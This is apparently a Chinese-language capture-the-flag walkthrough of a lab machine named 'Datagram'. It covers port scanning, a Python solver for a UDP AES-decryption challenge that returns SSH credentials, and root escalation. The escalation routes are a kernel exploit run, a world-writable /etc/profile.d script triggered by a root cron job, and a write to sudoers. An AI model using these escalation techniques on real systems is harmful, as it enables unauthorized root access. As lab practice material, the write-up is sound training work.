

Datagram

信息搜集

```
# Nmap 7.99 scan initiated Sun Sep 13 22:47:08 2026 as: /usr/lib/nmap/nmap --m
rts 192.168.1.21
Nmap scan report for 192.168.1.21
Host is up (0.0012s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.3 (protocol 2.0)
MAC Address: 08:00:27:D7:A0:2E (Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see https://
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=9/13%OT=22%CT=1%CU=39072%PV=Y%DS=1%DC=D%G=Y%M=080027%T
OS:M=6AA6B7BA%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10B%TI=Z%CI=Z%II=I
OS:%TS=22)SEQ(SP=102%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=21)SEQ(SP=107%GCD=1%IS
OS:R=10A%TI=Z%CI=Z%TS=22)SEQ(SP=107%GCD=1%ISR=10B%TI=Z%CI=Z%TS=22)SEQ(SP=FB
OS:%GCD=1%ISR=106%TI=Z%CI=Z%II=I%TS=22)OPS(O1=M5B4ST11NW9%O2=M5B4ST11NW9%O3
OS:=M5B4NNT11NW9%O4=M5B4ST11NW9%O5=M5B4ST11NW9%O6=M5B4ST11)WIN(W1=FE88%W2=F
OS:E88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW
OS:9%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=0%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=0%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=0%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=0%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at http
# Nmap done at Sun Sep 13 22:48:26 2026 -- 1 IP address (1 host up) scanned in
```

tcp就一个22，一般突破点在udp或监听网卡

udp

```
445/udp    open|filtered microsoft-ds
500/udp    open        isakmp
514/udp    open|filtered syslog
520/udp    open|filtered route
```

连测几轮500端口均开放，搜索服务信息

ISAKMP (Internet Security Association and Key Management Protocol) 是用于建立、协商、管理和删除安全关联 (SA) 的网络安全协议框架。

尝试交互

```
(kali@192)~[~/Desktop/Dasz/datagram]
$ echo 123 | nc -u -w 4 192.168.1.21 500
Complete 10 AES-128 ECB decryption challenges to get flag
Round 1/10
Key(hex):54652ccd2e7def3613ec35ef03208747
Cipher(hex):cf62d4d0fbf92fcfddec64fd0c1c0df01
Input plaintext:
123
```

好像不是一个服务....

根据描述是一个AES解密挑战，连对10次即可拿到flag，让AI搓个脚本

```
import socket, subprocess, binascii, time, sys
T=("192.168.1.21",500)

def aes_dec(kh, ch):
    p=subprocess.run(["openssl","enc","-d","-aes-128-ecb","-K",kh,"-nopad"],
                      input=binascii.unhexlify(ch), capture_output=True)
    return p.stdout

def strip_pkcs7(b):
    if b:
        n=b[-1]
        if 1<=n<=16 and b.endswith(bytes([n])*n): return b[:-n]
    return b

def pull(s, pred, tmo=5):
    s.settimeout(tmo); buf=b""
    while True:
        try: d=s.recv(4096)
        except socket.timeout: break
        if not d: break
        buf+=d
        if pred(buf): break
    return buf

s=None
for a in range(10):
    s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.connect(T)
    s.send(b"start")
    buf=pull(s, lambda b: b"Input plaintext" in b)
    if b"key(hex):" in buf: break
    s.close(); s=None; time.sleep(2)
if s is None: sys.exit("no session")
print("[banner/round1]\n"+buf.decode("utf-8","replace"))

flag=None
for rnd in range(1,11):
    t=buf.decode("utf-8","replace")
    key=t.split("Key(hex):")[1].split("\n")[0].strip()
    cip=t.split("Cipher(hex):")[1].split("\n")[0].strip()
    pt=strip_pkcs7(aes_dec(key,cip))
    print("R%d/%d key=%s ct=%s -> plaintext=%r"%(rnd,10,key,cip,pt))
    s.send(pt)
    buf=pull(s, lambda b: (b"Input plaintext" in b) or (b"flag" in b.lower()))
    txt=buf.decode("utf-8","replace")
    print("    <- %r"%txt)
    if b"Input plaintext" not in buf:
```

```
flag=txt; break
print("=== FINAL ===\n%s"%flag)
s.close()
```

```
R10/10 key=93481b1d3753308a9ea5e0fa3cad3cd9 ct=73709e5f5a79aa83
<- 'Correct\nRound 10/10\nKey(hex):93481b1d3753308a9ea5e0fa3
R10/10 key=93481b1d3753308a9ea5e0fa3cad3cd9 ct=73709e5f5a79aa83
<- 'Correct\nSuccess! SSH:longly:Ym0C1T05\n'
=== FINAL ===
Correct
Success! SSH:longly:Ym0C1T05
```

拿到凭据

```
longly:Ym0C1T05
```

提权

0x01

```
Kernel Exploit Registry (T1068)
Operating system ..... Linux
Kernel release ..... 7.0.10-0-stable
Comparable version ..... 7.0.10.0
Data chunk limit ..... max 25 rows per KERNEL_CVE_DATA_* variable (1..23)
Kernel config source ..... /boot/config-7.0.10-0-stable
CVE: CVE-2026-46331 | Name: pedit COW | Match data: pkg=linux-kernel,ver>=6.19,ver<7.0.13
Kernel vulns found: 1
```

存在内核洞

```
longly@Datagram:~$ ./poc
[*] target /bin/umount as uid 1000; shellcode at 0x1c8, jmp at 0x28, e_e
[d] shellcode chunk: offset=0x1c8 size=36 (0/68)
[d] shellcode chunk: offset=0x1ec size=32 (36/68)
[d] phdr[2] p_flags at 0xb4 set to 5
[d] e_entry = 0x28 (expected 0x28)
[d] jmp bytes at 0x28: e9 9b 01 00 00
[d] first 8 shellcode bytes at 0x1c8: 31 ff b8 6a 00 00 00 0f
[d] phdr[2] now has PF_X (flags=5)
[+] entry overwritten; exec'ing /bin/umount -> interactive root shell
/home/longly # whoami
root
/home/longly # id
uid=0(root) gid=0(root) groups=1000(longly)
/home/longly # |
```

0x02

```
root@Datagram:/home/longly# ls -la /tmp
total 1572
drwxrwxrwt  4 root    root          200 Sep 14 00:05 .
drwxr-xr-x 21 root    root        4096 Jul  7 21:44 ..
drwxrwxrwt  2 root    root          40 Sep 13 22:12 .ICE-unix
drwxrwxrwt  2 root    root          40 Sep 13 22:12 .X11-unix
-rwsr-xr-x  1 root    root       789472 Sep 13 22:12 bash
```

/tmp存在有s位的bash，但/tmp无suid执行，是个坑

0x03

```

/etc/ld.so.preload
Files (scripts) in /etc/profile.d/ (T1546.004)
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#profile.d
total 28
drwxr-xr-x  2 root    root      4096 Jul  7 21:44 .
drwxr-xr-x 36 root    root      4096 Sep 13 22:12 ..
-rw-r--r--  1 root    root       402 Jan 26  2026 00-bashrc.sh
-rw-rw-rw-  1 root    root     1252 Jul  7 21:44 10-demo.sh
-rw-r--r--  1 root    root       97 Mar 25 03:40 20locale.sh
-rw-r--r--  1 root    root      249 Mar 25 03:40 README
-rw-r--r--  1 root    root     447 Mar 25 03:40 color_prompt.sh.disabled
You have write privileges over /etc/profile.d/10-demo.sh

```

```
/etc/profile.d/10-demo.sh
```

登陆脚本可写

```

longly@Datagram:~$ cat /etc/profile.d/10-demo.sh
#!/bin/sh

echo
echo "
echo "
echo "
echo "
echo "
echo "
echo " Welcome to $(hostname)"
echo "  Date: $(date '+%Y-%m-%d %H:%M:%S')"
echo

```

另外存在计划任务

```
/etc/crontabs/root
```

```

2026/09/14 00:12:22 CMD: UID=0      PID=2      |
2026/09/14 00:12:22 CMD: UID=0      PID=1      | /sbin/init
2026/09/14 00:13:00 CMD: UID=0      PID=26448  | /bin/bash -c bash -l -c "id"
2026/09/14 00:13:00 CMD: UID=0      PID=26449  |

```

每分钟root执行一遍bash，正好触发登录脚本，写入sudoers

```

longly@Datagram:~$ sudo -l
Matching Defaults entries for longly on Datagram:
    secure_path=/usr/local/sbin\::/usr/local/bin\::/usr/sbin\::/usr/bin\::/sbin\::/bin

Runas and Command-specific defaults for longly:
    Defaults!/usr/sbin/visudo env_keep+= "SUDO_EDITOR EDITOR VISUAL"

User longly may run the following commands on Datagram:
    (ALL : ALL) NOPASSWD: ALL
    (ALL : ALL) NOPASSWD: ALL
longly@Datagram:~$ sudo bash -p
root@Datagram:/home/longly#

```